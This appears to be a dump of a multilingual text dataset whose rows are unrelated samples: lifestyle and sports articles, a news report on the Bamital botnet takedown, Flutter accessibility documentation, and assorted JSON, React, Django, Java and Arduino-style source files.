text
stringlengths
1
1.04M
language
stringclasses
25 values
- She opts for a diet high in terms of carbs (low glycemic index carbs) She is an actor, an entrepreneur and a mother and most of all, she is a fitness enthusiast. Yes, we are talking about the gorgeous and super-talented Shilpa Shetty Kundra. That flawless skin, slender waist, perfect curves and thick hair make her an international favourite. She surely is synonymous to fitness in our country and with all these attributes in place, there is no reason to wonder why the ‘Shut up and bounce’ lady captures the imagination of men and women too. Where most people believe in concealing their fitness secrets, Shilpa begs to differ here. She shares her fitness secrets and her diet plan with fans. And the primary rule being, dieting is not the solution. You must eat well but in required proportions. She strongly believes how your motive towards working out and being fit is what defines the outcome altogether. Shilpa says that if you workout for staying fit and healthy, you will anyway look great. But if it is backed by an aims to just look good, it is a tough road for you. So quit being result-oriented and workout for your own health and well-being. Shilpa is popularly known as a yoga-enthusiast. She began yoga because of a neck problem and now it is a very important part of her fitness regime. Starting with general yoga, she now practices Ashtanga yoga. With her experience, she reveals that yoga hits your body; mind and soul in one go and all this, with breathing alone. After her victory in the popular show Big Brother, her fans in UK were all eager to know the secret behind her fitness and the key to her excellent curves. This is when she came up with her DVD on yoga. It is a two-hour video where she explains the right ways of practicing all the Asanas. She also explains that this was solely for her fans and not for monetary purposes. For Shilpa, it doesn’t end at yoga. Versatility is what defines her. She practices all forms of workout and yoga is just one of them. She couples yoga with weight liftingto have perfectly toned and strong muscles. That flawlessly glowing skin, thick and luscious hair and of course the excellent curves are not all because of her workout plan. Here, the credits go to a balanced and nutritious diet plan. Shilpa opts for a diet high in terms of carbs (low glycemic index carbs) and green tea. She ensures to refrain from mid-meal snacking. 1. Breakfast- Amla or aloe vera juice, porridge and tea with brown sugar. 2. Lunch- Chapatti/Brown rice, chicken curry or turkey or salmon with fresh vegetables. 3. Evening- Brown bread toast, egg whites and green tea. 4. Dinner- By 8pm, and dinner includes soups, salads and chicken. Do take note that she ensures to have ghee every day. And here’s an extra dost of advice from the ‘thumka queen’ herself. 1. Drink at least 10 glasses of water every day to get a clear and hydrated skin. 2. It is not necessary to refrain from processed foods altogether. There are some processed foods that you can eat without fear of weight gain. You can have flax meal, mustard, almond milk and raw nut butter. So here was a feed of Shilpa Shetty Kundra’s fitness regime, it couldn’t get any better and we couldn’t be any less inspired.
english
<reponame>clenemt/sky-bikes module.exports = { // Allow jest to understand our code // https://facebook.github.io/jest/docs/en/configuration.html#transform-object-string-string transform: { '^.+\\.jsx?$': 'babel-jest', }, // https://facebook.github.io/jest/docs/en/configuration.html#globals-object globals: { __PROD__: true, __BASE_URL__: '', }, };
javascript
India will look to continue their winning momentum when they take on Sri Lanka in the fifth match of the Commonwealth Bank Tri-Series at Adelaide on Tuesday. Mahendra Singh Dhoni’s men have got a shot in the arm after beating Sri Lanka and Australia in successive matches and their much in debate rotation policy has till now worked. Not often that one finds Sachin Tendulkar being rested despite being fit and available but the positive aspect is the number of options available for the Indian team with talented players like Praveen Kumar and Rahul Sharma raring to go. However Sri Lankan side won’t be mere pushovers even though haven’t been able to register a single victory. Twice in Perth, they had India and Australia on the ropes and just couldn’t finish off the match. They allowed India to escape from 181 for six in the first match and needed only a hit to prevail over Australia. It’s a fair bet that the old firm of Kumar Sangakkara and Mahela Jayawardene, Sri Lanka’s best in batting could come good on the batting-friendly track of Adelaide Oval. Both have been relative failures in the first two matches but both have given glimpses of their sublime touch and assuredness. If the two are able to spend quality time in the middle, and Tillakaratne Dilshan is able to convert his blazing start, Lankans have enough all-rounders to post a sizeable total on the board. India: Sachin Tendulkar, Gautam Gambhir, Virat Kohli, Suresh Raina, Rohit Sharma, MS Dhoni (c&wk), Ravindra Jadeja, R Ashwin, R Vinay Kumar, Umesh Yadav, Irfan Pathan. Sri Lanka: Tillakaratne Dilshan, Upul Tharanga, Kumar Sangakkara (wk), Dinesh Chandimal, Mahela Jayawardene (c), Angelo Mathews, Sachithra Senanayake, Nuwan Kulasekara, Lasith Malinga, Thisara Perera, Rangana Herath.
english
{"packages":{"wpackagist-plugin\/moneypress-buyat-master-edition":{"1.0":{"name":"wpackagist-plugin\/moneypress-buyat-master-edition","version":"1.0","version_normalized":"1.0.0.0","uid":221693,"dist":{"type":"zip","url":"https:\/\/downloads.wordpress.org\/plugin\/moneypress-buyat-master-edition.1.0.zip"},"source":{"type":"svn","url":"https:\/\/plugins.svn.wordpress.org\/moneypress-buyat-master-edition\/","reference":"tags\/1.0"},"homepage":"https:\/\/wordpress.org\/plugins\/moneypress-buyat-master-edition\/","require":{"composer\/installers":"~1.0"},"type":"wordpress-plugin"},"1.1":{"name":"wpackagist-plugin\/moneypress-buyat-master-edition","version":"1.1","version_normalized":"1.1.0.0","uid":221694,"dist":{"type":"zip","url":"https:\/\/downloads.wordpress.org\/plugin\/moneypress-buyat-master-edition.1.1.zip"},"source":{"type":"svn","url":"https:\/\/plugins.svn.wordpress.org\/moneypress-buyat-master-edition\/","reference":"tags\/1.1"},"homepage":"https:\/\/wordpress.org\/plugins\/moneypress-buyat-master-edition\/","require":{"composer\/installers":"~1.0"},"type":"wordpress-plugin"},"1.1.1":{"name":"wpackagist-plugin\/moneypress-buyat-master-edition","version":"1.1.1","version_normalized":"1.1.1.0","uid":221695,"dist":{"type":"zip","url":"https:\/\/downloads.wordpress.org\/plugin\/moneypress-buyat-master-edition.1.1.1.zip"},"source":{"type":"svn","url":"https:\/\/plugins.svn.wordpress.org\/moneypress-buyat-master-edition\/","reference":"tags\/1.1.1"},"homepage":"https:\/\/wordpress.org\/plugins\/moneypress-buyat-master-edition\/","require":{"composer\/installers":"~1.0"},"type":"wordpress-plugin"},"1.2":{"name":"wpackagist-plugin\/moneypress-buyat-master-edition","version":"1.2","version_normalized":"1.2.0.0","uid":221696,"dist":{"type":"zip","url":"https:\/\/downloads.wordpress.org\/plugin\/moneypress-buyat-master-edition.1.2.zip"},"source":{"type":"svn","url":"https:\/\/plugins.svn.wordpress.org\/moneypress-buyat-master-edition\/","reference":"tags\/1.2"},"homepage":"https:\/\/wordpress.org\/plugins\/moneypress-buyat-master-edition\/","require":{"composer\/installers":"~1.0"},"type":"wordpress-plugin"},"dev-trunk":{"name":"wpackagist-plugin\/moneypress-buyat-master-edition","version":"dev-trunk","version_normalized":"9999999-dev","uid":221697,"time":"2012-06-04 16:32:49","dist":{"type":"zip","url":"https:\/\/downloads.wordpress.org\/plugin\/moneypress-buyat-master-edition.zip?timestamp=1338827569"},"source":{"type":"svn","url":"https:\/\/plugins.svn.wordpress.org\/moneypress-buyat-master-edition\/","reference":"trunk"},"homepage":"https:\/\/wordpress.org\/plugins\/moneypress-buyat-master-edition\/","require":{"composer\/installers":"~1.0"},"type":"wordpress-plugin"}}}}
json
--- title: Accessibility description: Information on Flutter's accessibility support. --- Ensuring apps are accessible to a broad range of users is an essential part of building a high-quality app. Applications that are poorly designed create barriers to people of all ages. The [UN Convention on the Rights of Persons with Disabilities][CRPD] states the moral and legal imperative to ensure universal access to information systems; countries around the world enforce accessibility as a requirement; and companies recognize the business advantages of maximizing access to their services. We strongly encourage you to include an accessibility checklist as a key criteria before shipping your app. Flutter is committed to supporting developers in making their apps more accessible, and includes first-class framework support for accessibility in addition to that provided by the underlying operating system, including: [**Large fonts**][] : Render text widgets with user-specified font sizes [**Screen readers**][] : Communicate spoken feedback about UI contents [**Sufficient contrast**][] : Render widgets with colors that have sufficient contrast Details of these features are discussed below. ## Inspecting accessibility support In addition to testing for these specific topics, we recommend using automated accessibility scanners: * For Android: 1. Install the [Accessibility Scanner][] for Android 1. Enable the Accessibility Scanner from **Android Settings > Accessibility > Accessibility Scanner > On** 1. Navigate to the Accessibility Scanner 'checkbox' icon button to initiate a scan * For iOS: 1. Open the `iOS` folder of your Flutter app in Xcode 1. Select a Simulator as the target, and click **Run** button 1. In Xcode, select **Xcode > Open Developer Tools > Accessibility Inspector** 1. In the Accessibility Inspector, select **Inspection > Enable Point to Inspect**, and then select the various user interface elements in running Flutter app to inspect their accessibility attributes 1. In the Accessibility Inspector, select **Audit** in the toolbar, and then select **Run Audio** to get a report of potential issues ## Large fonts Both Android and iOS contain system settings to configure the desired font sizes used by apps. Flutter text widgets respect this OS setting when determining font sizes. Font sizes are calculated automatically by Flutter based on the OS setting. However, as a developer you should make sure your layout has enough room to render all its contents when the font sizes are increased. For example, you can test all parts of your app on a small-screen device configured to use the largest font setting. ### Example The following two screenshots show the standard Flutter app template rendered with the default iOS font setting, and with the largest font setting selected in iOS accessibility settings. <div class="row"> <div class="col-md-6"> {% include app-figure.md image="a18n/app-regular-fonts.png" caption="Default font setting" img-class="border" %} </div> <div class="col-md-6"> {% include app-figure.md image="a18n/app-large-fonts.png" caption="Largest accessibility font setting" img-class="border" %} </div> </div> ## Screen readers Screen readers ([TalkBack][], [VoiceOver][]) enable visually impaired users to get spoken feedback about the contents of the screen. Turn on VoiceOver or TalkBack on your device and navigate around your app. If you run into any issues, use the [`Semantics` widget][] to customize the accessibility experience of your app. ## Sufficient contrast Sufficient color contrast makes text and images easier to read. Along with benefitting users with various visual impairments, sufficient color contrast helps all users when viewing an interface on devices in extreme lighting conditions, such as when exposed to direct sunlight or on a display with low brightness. The [W3C recommends][]: * At least 4.5:1 for small text (below 18 point regular or 14 point bold) * At least 3.0:1 for large text (18 point and above regular or 14 point and above bold) ## Building with accessibility in mind Ensuring your app can be used by everyone means building accessibility into it from the start. For some apps, that's easier said than done. In the video below, two of our engineers take a mobile app from a dire accessibility state to one that takes advantage of Flutter's built-in widgets to offer a dramatically more accessible experience. <iframe width="560" height="315" src="https://www.youtube.com/embed/bWbBgbmAdQs" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ## Accessibility release checklist Here is a non-exhaustive list of things to consider as you prepare your app for release. - **Active interactions**. Ensure that all active interactions do something. Any button that can be pushed should do something when pushed. For example, if you have a no-op callback for an `onPressed` event, change it to show a `SnackBar` on the screen explaining which control you just pushed. - **Screen reader testing**. The screen reader should be able to describe all controls on the page when you tap on them, and the descriptions should be intelligible. Test your app with [TalkBack][] (Android) and [VoiceOver][] (iOS). - **Contrast ratios**. We encourage you to have a contrast ratio of at least 4.5:1 between controls or text and the background, with the exception of disabled components. Images should also be vetted for sufficient contrast. - **Context switching**. Nothing should change the user's context automatically while typing in information. Generally, the widgets should avoid changing the user's context without some sort of confirmation action. - **Tappable targets**. All tappable targets should be at least 48x48 pixels. - **Errors**. Important actions should be able to be undone. In fields that show errors, suggest a correction if possible. - **Color vision deficiency testing**. Controls should be usable and legible in colorblind and grayscale modes. - **Scale factors**. The UI should remain legible and usable at very large scale factors for text size and display scaling. ## More information For more information, particularly about how to configure the semantics tree, see the following articles written by community members: * [A deep dive into Flutter's accessibility widgets][] * [Semantics in Flutter][] [CRPD]: https://www.un.org/development/desa/disabilities/convention-on-the-rights-of-persons-with-disabilities/article-9-accessibility.html [A deep dive into Flutter's accessibility widgets]: {{site.medium}}/flutter-community/a-deep-dive-into-flutters-accessibility-widgets-eb0ef9455bc [Accessibility Scanner]: https://play.google.com/store/apps/details?id=com.google.android.apps.accessibility.auditor&hl=en [**Large fonts**]: #large-fonts [**Screen readers**]: #screen-readers [Semantics in Flutter]: https://www.didierboelens.com/2018/07/semantics/ [`Semantics` widget]: {{site.api}}/flutter/widgets/Semantics-class.html [**Sufficient contrast**]: #sufficient-contrast [TalkBack]: https://support.google.com/accessibility/android/answer/6283677?hl=en [W3C recommends]: https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html [VoiceOver]: https://www.apple.com/lae/accessibility/iphone/vision/
markdown
{% extends "logical/database/details/base.html" %} {% block extrastyle %} {{ block.super }} <style> .grafana_frame { display: block; background: #000; border: none; width: 100%; height: 1000px; } </style> {% endblock %} {% block tab %} <table style="width:100%" border=0><tr><td> <ul class="nav nav-pills" id="navFinished" > <li><p class="navbar-text"><b>HOSTS:&nbsp;&nbsp;</b></p></li> {% for host in hosts %} <li {% ifequal hostname host %} class="active" {% endifequal %}> <a href="?hostname={{host}}&source={{source}}">{{host}}</a> </li> {% endfor %} </ul> </td> <td><ul class="nav nav-pills"> <li><p class="navbar-text">&nbsp;</p></li> <li class="active" style="float:right"> {% if can_show_sofia_metrics %} <a href="?hostname={{hostname}}&source={{second_source}}" class="btn btn-primary active" role="button" aria-pressed="true">Change data source to {{second_source}}</a> {% endif %} </li></ul> </td> </tr> </table> {% if source == 'zabbix' %} <iframe id="grafana" class='grafana_frame' src="{{ grafana_url_zabbix }}"></iframe> {% endif %} {% if source == 'sofia' %} <iframe id="grafana" class='grafana_frame' src="{{ grafana_url_sofia }}"></iframe> {% endif %} {% endblock %} {% block database_button_save %} {% endblock %}
html
{"HollywoodAutism": ["RealLife", "UsefulNotes", "PrettyFlyForAWhiteGuy", "RenaissanceMan", "RealLife", "ShapedLikeItself", "AlwaysMale", "LiveActionTV", "Film", "TheRainMan", "IdiotSavant", "Manchild", "KiddieKid", "Catch22Dilemma", "UncannyValley", "FlameBait", "ThrowingOffTheDisability", "AppliedPhlebotinum", "TruthInTelevision", "LiteralMinded", "InsufferableGenius", "IncrediblyLameFun", "Asexuality", "UnfortunateImplications", "Cloudcuckoolander", "AttentionDeficitOohShiny", "AnimalMotifs", "InspirationallyDisadvantaged", "DisabilitySuperpower", "FiveTokenBand", "AmbiguousDisorder", "AmbiguousDisorder", "AvertedTrope", "AuthorExistenceFailure", "BedlamHouse", "TheWoobie", "PlayingWithFire", "MassEmpoweringEvent", "FetchQuest", "RagtagBunchOfMisfits", "NoSenseOfHumor", "LawfulStupid", "HairTriggerTemper", "LackOfEmpathy", "KickTheDog", "BlackBeadEyes", "ThousandYardStare", "SuperStrength", "CatGirl", "EnsembleDarkhorse", "OnlySaneMan", "BlackAndWhiteMorality", "ItWasHisSled", "TropeNamer", "TheRainMan", "DisabilitySuperpower", "TheCaretaker", "InspirationallyDisabled", "ThePowerOfLove", "ManicPixieDreamGirl", "MagicalDifferentlyAbledPerson", "DisabilitySuperpower", "SarcasmBlind", "FreakOut", "MotorMouth", "DeadpanSnarker", "VoiceChangeling", "UninhibitedMusclePower", "InspirationallyDisadvantaged", "PickyEater", "ShoutOut", "HouseRules", "InspirationallyDisadvantaged", "InsanityDefense", "UnfortunateImplications", "ThrowingOffTheDisability", "LiteralMinded", "SarcasmBlind", "SchoolPlay", "PetTheDog", "Cloudcuckoolander", "LiteralMinded", "HatesBeingTouched", "CompellingVoice", "TakeThat", "InsistentTerminology", "TruthInTelevision", "WordOfGod", "ManChild", "AllLovingHero", "LackOfEmpathy", "HormoneAddledTeenager", "Asexual", "UnfortunateImplications", "VanillaProtagonist", "PinballProtagonist", "AbusiveParents", "ParentalNeglect", "MyBelovedSmother", "DesignatedHero", "TheyWastedAPerfectlyGoodCharacter", "ShownTheirWork", "LivingEmotionalCrutch", "WordOfGod", "TheUntwist", "AppliedPhlebotinum", "CrapsackWorld", "TheHero", "LackOfEmpathy", "GadgeteerGenius", "RidiculouslyHumanRobot", "VillainProtagonist", "TookALevelInCynic"]}
json
<gh_stars>0 import React from 'react'; import {BrowserRouter, Route, NavLink} from 'react-router-dom'; import UserPage from "./components/UserPage"; import TodosPage from "./components/TodosPage"; import FuckingPage from "./components/FuckingPage"; import UserItemPage from "./components/UserItemPage"; import TodoItemPage from "./components/TodoItemPage"; function App() { return ( <div className="App"> <BrowserRouter> <div> <div> <NavLink to={'/users'}> Users </NavLink> <NavLink to={'/todos'}> Todos </NavLink> <NavLink to={'/fuck'}> Other </NavLink> </div> <Route path={'/users'} exact> <UserPage/> </Route> <Route path={'/todos'} exact> <TodosPage/> </Route> <Route path={'/user/:id'} > <UserItemPage/> </Route> <Route path={'/todo/:id'} > <TodoItemPage/> </Route> <Route path={'/fuck'} exact> <FuckingPage/> </Route> </div> </BrowserRouter> </div> ) } export default App;
typescript
Software makers Microsoft Corp and Symantec Corp said they disrupted a global cyber-crime operation by shutting down servers that controlled hundreds of thousands of PCs without the knowledge of their users. The move made it temporarily impossible for infected PCs around the world to search the web, though the companies offered free tools to clean machines through messages that were automatically pushed out to infected computers. Technicians working on behalf of both companies raided data centers in Weehawken, New Jersey, and Manassas, Virginia, on Wednesday, accompanied by U.S. federal marshals, under an order issued by the U.S. District Court in Alexandria, Virginia. They seized control of one server at the New Jersey facility and persuaded the operators of the Virginia data center to take down a server at their parent company in the Netherlands, according to Richard Boscovich, assistant general counsel with Microsoft's Digital Crimes Unit. Boscovich told Reuters that he had "a high degree of confidence" that the operation had succeeded in bringing down the cyber crime operation, known as the Bamital botnet. "We think we got everything, but time will tell," he said. The servers that were pulled off line on Wednesday had been used to communicate with what Microsoft and Symantec estimate are between 300,000 and 1 million PCs currently infected with malicious software that enslaved them into the botnet. The companies said that the Bamital operation hijacked search results and engaged in other schemes that the companies said fraudulently charge businesses for online advertisement clicks. Bamital's organizers also had the ability to take control of infected PCs, installing other types of computer viruses that could engage in identity theft, recruit PCs into networks that attack websites and conduct other types of computer crimes. Now that the servers have been shut down, users of infected PCs will be directed to a site informing them that their machines are infected with malicious software when they attempt to search the web. Microsoft and Symantec are offering them free tools to fix their PCs and restore access to web searches via messages automatically pushed out to victims. The messages warn: "You have reached this website because your computer is very likely to be infected by malware that redirects the results of your search queries. You will receive this notification until you remove the malware from your computer." It was the sixth time that Microsoft has obtained a court order to disrupt a botnet since 2010. Previous operations have targeted bigger botnets, but this is the first where infected users have received warnings and free tools to clean up their machines. Microsoft runs a Digital Crimes Unit out of its Redmond, Washington, headquarters that is staffed by 11 attorneys, investigators and other staff who work to help law enforcement fight financial crimes and exploitation of children over the web. Symantec approached Microsoft about a year ago, asking the maker of Windows software to collaborate in trying to take down the Bamital operation. Last week they sought a court order to seize the Bamital servers. The two companies said they conservatively estimate that the Bamital botnet generated at least $1 million a year in profits for the organizers of the operation. They said they will learn more about the size of the operation after they analyze information from infected machines that check in to the domains once controlled by Bamital's servers. Their complaint identified 18 "John Doe" ringleaders, scattered from Russia and Romania to Britain, the United States and Australia, who registered websites and rented servers used in the operation under fictitious names. The complaint was filed last week with a federal court in Alexandria and unsealed on Wednesday. The complaint alleges that the ringleaders made money through a scheme known as "click fraud" in which criminals get cash from advertisers who pay websites commissions when their users click on ads. Bamital redirected search results from Google, Yahoo and Microsoft's Bing search engines to sites with which the authors of the botnet have financial relationships, according to the complaint. The complaint also charges that Bamital's operators profited by forcing infected computers to generate large quantities of automated ad clicks without the knowledge of PC users. Symantec researcher Vikram Thakur said Bamital is just one of several major botnets in a complex underground "click fraud ecosystem" that he believes generates at least tens of millions of dollars in revenue. He said that researchers at will comb the data on the servers in order to better understand how the click fraud ecosystem works and potentially identify providers of fraudulent ads and traffic brokers. "This is just the tip of the iceberg in the world of click fraud," said Thakur. Boscovich said he believes the botnet originated in Russia or Ukraine because affiliated sites install a small text file known as a cookie that is written in Russian on infected computers. The cookie file contains the Russian phrase "yatutuzebil," according to the court filing. That can loosely be translated as "I was here," he said. Microsoft provided details on the takedown operation on its blog.
english
- Performance (350) - Interior (342) The Hyundai i20 is a great car with best in class features and best in class looks. The Hyundai Elite I20 is a good car with a nice look. keep it up! Hyundai is a good company. The superstar car! Very lovable look and feel. It is a perfect car for very safety and comfort. Hyundai i20 is a very cute looking i20.I love i20 Asta (o) best safety car and lowest price. It is very good and budget car. It only looks like an expensive car, It has the best interior. Are you Confused?
english
So the January transfer window is over again and it turned out to be a fascinating one, as Phillipe Coutinho became the most expensive January signing yet; we saw big moves like Alexis Sanchez to Manchester United, Lucas Moura to Tottenham and Olivier Giroud to Chelsea, and overall more money was spent this January than any previous year. With that said, though, none of the moves made were major shocks - they were expensive, for certain, but they were also largely to be expected, big money moves between big clubs with most of the transfers being logical. Football history though is littered with plenty of transfers that did shock the football world to its core – whether they were record-breaking fees or a case of a player moving from his club to their most bitter rivals. Here are five of the most shocking transfers in football history. Since the mid-2000’s, two clubs have dominated the world of football more than any others – Spanish giants Real Madrid and their rivals Barcelona. And during that time period, it was basically a given that if one of those clubs wanted a player, that player would end up there, and the only way they’d ever get rid of a player would be if they became surplus to requirements. And so everyone from Cristiano Ronaldo and Gareth Bale to Luis Suarez and Cesc Fabregas fit into the pattern. That was until the summer of 2017 when out of nowhere, the power apparently shifted to France and to Paris St. Germain more specifically. When PSG – rich beyond their wildest dreams thanks to some Qatari investment in 2011 – were rumored to be attempting to sign Brazilian star Neymar Jr from Barca, it seemed like simple paper talk that wasn’t true. After all, Neymar had only been at the Nou Camp for four seasons and it felt like he was the natural successor to the legendary Lionel Messi. But soon all of the rules would be out of the window. It was in early August when Barca announced that PSG had decided to pay Neymar’s release clause – somewhere over the figure of £200m, shattering the world record transfer fee – to take the Brazilian to France. And so it felt like the power no longer lays with the Spanish giants but with the nouveau riche, oil-minted Parisians. Neymar has proved a success in France – 26 goals in 25 games thus far – but his move may be looked back at in years as a major turning point, and it certainly rocked the football world to its core. Back in 2006, highly-touted Argentine stars Carlos Tevez and Javier Mascherano were being linked with big teams all across Europe, from the giants of Spain’s La Liga to the wealthiest clubs in England’s Premier League. So it came as a monstrous shock when they made the move from Brazilian club Corinthians to relegation candidates West Ham United of all clubs in August 2006. Then-Hammers boss Alan Pardew seemed as surprised as anyone to pose for a photo with them, although he rarely deployed them as just four months later he was fired. Within weeks of the move, rumours began to swirl around that the reason other clubs hadn’t been willing to touch the young Argentines was that their contracts weren’t owned by Corinthians, but by a third party – in this case, Media Sports Investment (MSI) who were also rumoured to be considering buying out. . . . you guessed it, it's West Ham. The truth of what actually happened remains largely a mystery, but the general consensus is that West Ham never truly owned the contracts of the players. At any rate, Mascherano was shipped to Liverpool on loan in January 2007 and later made a permanent move, while Tevez stuck around and almost single-handedly saved West Ham from relegation. He moved to Manchester United the following summer, and barely a year later in June 2008, the Premier League announced a full ban on any third-party ownership of players. It was a sorry state of affairs overall, but the fact that two world-class prospects ever moved to West Ham remains incredibly shocking to this day. The fact that Sol Campbell – a bonafide world-class player at his peak and one of the best defenders to ever play for Tottenham Hotspur – wasn’t invited back to the club last summer when White Hart Lane was closed down goes to show that the scars from this controversial transfer still run deep in North London. Even now, the best part of two decades on, Campbell is still known as ‘Judas’ amongst hardcore Tottenham supporters. Few Spurs fans at the time – with the club largely sitting in mid-table mediocrity – could’ve begrudged Campbell wanting to leave when his contract ended in 2001, even if it was another Premier League side. But to move to Arsenal – Tottenham’s most bitter local rivals – was simply unthinkable. But Campbell did just that despite being club captain, becoming the first man to make the move since goalkeeper Pat Jennings in 1977. For his part, Campbell couldn’t see what he’d done wrong. He claimed Spurs simply weren’t in a position to match his ambitions of winning trophies, while Arsenal was – and indeed, he won two Premier League titles and three FA Cups with the Gunners. But what he lost was the respect of the Spurs fans, who subjected him to some of the worst abuse ever seen in football history. Campbell forgot a simple rule – that football is tribal, and some borders are simply not meant to be crossed. Perhaps no rivalry in European football is quite as bitter as the one between Glasgow clubs Rangers and Celtic, and it’s because it runs far deeper than the beautiful game. Rangers are of course a Protestant club while Celtic are Catholic, meaning there’s an unhealthy dose of sectarianism to the whole thing that other big rivalries simply don’t have. And so naturally – particularly at the peak of the Troubles in Ireland in the 1970’s and 1980’s – both clubs had certain policies. One of which at Rangers was to never sign known Catholic players. That all changed in 1989 when manager Graeme Souness decided to sign striker Mo Johnston from French outfit Nantes. Not only was Johnston a known staunch Catholic, but he’d actually played for Celtic prior to his Nantes move and had scored bagfuls of goals and even won the Scottish Premier Division title with them. And so naturally, when his move to Rangers was announced, all hell broke loose in Glasgow. Celtic fans burned effigies of Johnston, and even Rangers fans weren’t happy, with some hardcore Protestants vowing never to return to Ibrox. Throughout the whole issue, somehow both Johnston and Souness kept cool heads and tried to make the move purely about the football. And eventually, Johnston won over the Rangers fans by scoring plenty of goals for his new club and helping them to win two Scottish Premier Division titles during his time there. An injury-time winner against Celtic in November 1989 probably helped, too! As the 1990’s came to a close, Barcelona was a club almost at the peak of their powers once again after a somewhat leaner period in the middle of the decade. They won two La Liga titles (1997/98 and 1998/99) and captured the imagination of the fans again like they had in the years of Johan Cruyff’s ‘Dream Team’, but one man stood out above all others – Portuguese midfield talisman Luis Figo. He was so good that one teammate even stated Barca’s game plan was simply to give Figo the ball and let him do the rest. So in the summer of 2000, the football world was shocked to its core when it was announced that Real Madrid had broken the world transfer record to trigger the Portuguese’s release clause – around £37m – and bring him to the Bernabeu. Transfers between the bitter rivals had taken place before but never had one side simply bullied the other to take a player in this manner. And suddenly, Figo went from being the hero of the Catalan fans to the most hated man on planet earth. Returning to the Nou Camp for the first time in October 2000, Figo was met with merciless hatred probably never seen before in football. He was met by a banner reading “100 million pieces of silver” – comparing him to Judas – and even had a pig’s head amongst other objects thrown at him when he attempted to take a corner. Apparently, Figo could barely understand the reaction himself. “I feel like I’m in the skin of a murderer” was supposedly the quote. But this transfer wasn’t just shocking because it was a Barcelona icon moving to Real. It was a power-play from Real Madrid to ensure that they, and only they, were recognized as the biggest club in the world again, as they had been decades earlier. The move ushered in the era of the ‘Galacticos’, and nothing has been the same in European football ever since.
english
<reponame>joerter/atom-config<gh_stars>0 {"name":"glob-stream","description":"File system globs as a stream","version":"4.1.1","repository":{"type":"git","url":"https://github.com/wearefractal/glob-stream"},"author":{"name":"Fractal","email":"<EMAIL>","url":"http://wearefractal.com/"},"files":["index.js"],"dependencies":{"glob":"^4.3.1","minimatch":"^2.0.1","ordered-read-streams":"^0.1.0","glob2base":"^0.0.12","unique-stream":"^2.0.2","through2":"^0.6.1"},"devDependencies":{"coveralls":"^2.11.2","istanbul":"^0.3.0","istanbul-coveralls":"^1.0.1","jshint":"^2.5.10","mocha":"^2.0.0","mocha-lcov-reporter":"0.0.1","rimraf":"^2.2.5","should":"^4.3.0"},"scripts":{"test":"jshint && mocha","coveralls":"istanbul cover _mocha --report lcovonly && istanbul-coveralls"},"engines":{"node":">= 0.9"},"licenses":[{"type":"MIT","url":"http://github.com/wearefractal/glob-stream/raw/master/LICENSE"}],"gitHead":"6411ea4891d24227f94f302bd52d79584af8fa9b","bugs":{"url":"https://github.com/wearefractal/glob-stream/issues"},"homepage":"https://github.com/wearefractal/glob-stream","_id":"glob-stream@4.1.1","_shasum":"b842df10d688c7eb6bcfcebd846f3852296b3200","_from":"glob-stream@>=4.0.1 <5.0.0","_npmVersion":"2.7.0","_nodeVersion":"1.5.1","_npmUser":{"name":"fractal","email":"<EMAIL>"},"maintainers":[{"name":"fractal","email":"<EMAIL>"},{"name":"phated","email":"<EMAIL>"}],"dist":{"shasum":"b842df10d688c7eb6bcfcebd846f3852296b3200","tarball":"http://registry.npmjs.org/glob-stream/-/glob-stream-4.1.1.tgz"},"directories":{},"_resolved":"https://registry.npmjs.org/glob-stream/-/glob-stream-4.1.1.tgz","readme":"ERROR: No README data found!"}
json
{"appid": 527700, "name": "Containment Initiative", "windows": true, "mac": false, "linux": false, "early_access": true, "lookup_time": 1491002109}
json
import com.kauruck.coastEngine.centum.component.AbstractComponent; import com.kauruck.coastEngine.centum.system.AbstractSystem; import com.kauruck.coastEngine.core.resources.ResourceLocation; public class TestSystem extends AbstractSystem<TestComponent> { public TestSystem() { super(10, TestComponent.class); } @Override public void process(AbstractComponent component, float deltaTime) { if(component instanceof TestComponent){ TestComponent comp = (TestComponent) component; System.out.println(comp.test); comp.test++; } } @Override public void pre() { } @Override public void post() { } @Override public ResourceLocation getID() { return new ResourceLocation("test","testSystem"); } }
java
<reponame>g0v/amis-moedict {"t":"lalidaliden","h":[{"d":[{"f":"要弄平、攤平、碾平,要弄平、攤平、碾平的(對象)。","e":["`La~`lidaliden~ `ko~ `sacapoxan~.要攤平秧田."]}]}],"stem":"lidalid","tag":"[疊 2]"}
json
from django.db import models class PartnerCharity(models.Model): slug_id = models.CharField(max_length=30, unique=True) name = models.TextField(unique=True, verbose_name='Name (human readable)') email = models.EmailField(help_text='Used to cc the charity on receipts') xero_account_name = models.TextField(help_text='Exact text of incoming donation account in xero') active = models.BooleanField(default=True) thumbnail = models.FileField(blank=True, null=True) order = models.IntegerField(null=True, blank=True) def __str__(self): return self.name class Meta: verbose_name_plural = 'Partner charities'
python
<gh_stars>1-10 /************************************************************************ This sketch reads the temperature from a OneWire device and then publishes to the Particle cloud. From there, IFTTT can be used to log the date, time, and temperature to a Google Spreadsheet. Read more in our tutorial here: http://docs.particle.io/tutorials/topics/maker-kit This sketch is the same as the example from the OneWire library, but with the addition of three lines at the end to publish the data to the cloud. Use this sketch to read the temperature from 1-Wire devices you have attached to your Particle device (core, p0, p1, photon, electron) Temperature is read from: DS18S20, DS18B20, DS1822, DS2438 Expanding on the enumeration process in the address scanner, this example reads the temperature and outputs it from known device types as it scans. I/O setup: These made it easy to just 'plug in' my 18B20 (note that a bare TO-92 sensor may read higher than it should if it's right next to the Photon) D3 - 1-wire ground, or just use regular pin and comment out below. D4 - 1-wire signal, 2K-10K resistor to D5 (3v3) D5 - 1-wire power, ditto ground comment. A pull-up resistor is required on the signal line. The spec calls for a 4.7K. I have used 1K-10K depending on the bus configuration and what I had out on the bench. If you are powering the device, they all work. If you are using parisidic power it gets more picky about the value. NOTE: This sketch requires the OneWire library, which can be added from the <-- Libraries tab on the left. ************************************************************************/ OneWire ds = OneWire(D4); // 1-wire signal on pin D4 unsigned long lastUpdate = 0; float lastTemp; void setup() { Serial.begin(9600); // Set up 'power' pins, comment out if not used! pinMode(D3, OUTPUT); pinMode(D5, OUTPUT); digitalWrite(D3, LOW); digitalWrite(D5, HIGH); } // up to here, it is the same as the address acanner // we need a few more variables for this example void loop(void) { byte i; byte present = 0; byte type_s; byte data[12]; byte addr[8]; float celsius, fahrenheit; if ( !ds.search(addr)) { Serial.println("No more addresses."); Serial.println(); ds.reset_search(); delay(250); return; } // The order is changed a bit in this example // first the returned address is printed Serial.print("ROM ="); for( i = 0; i 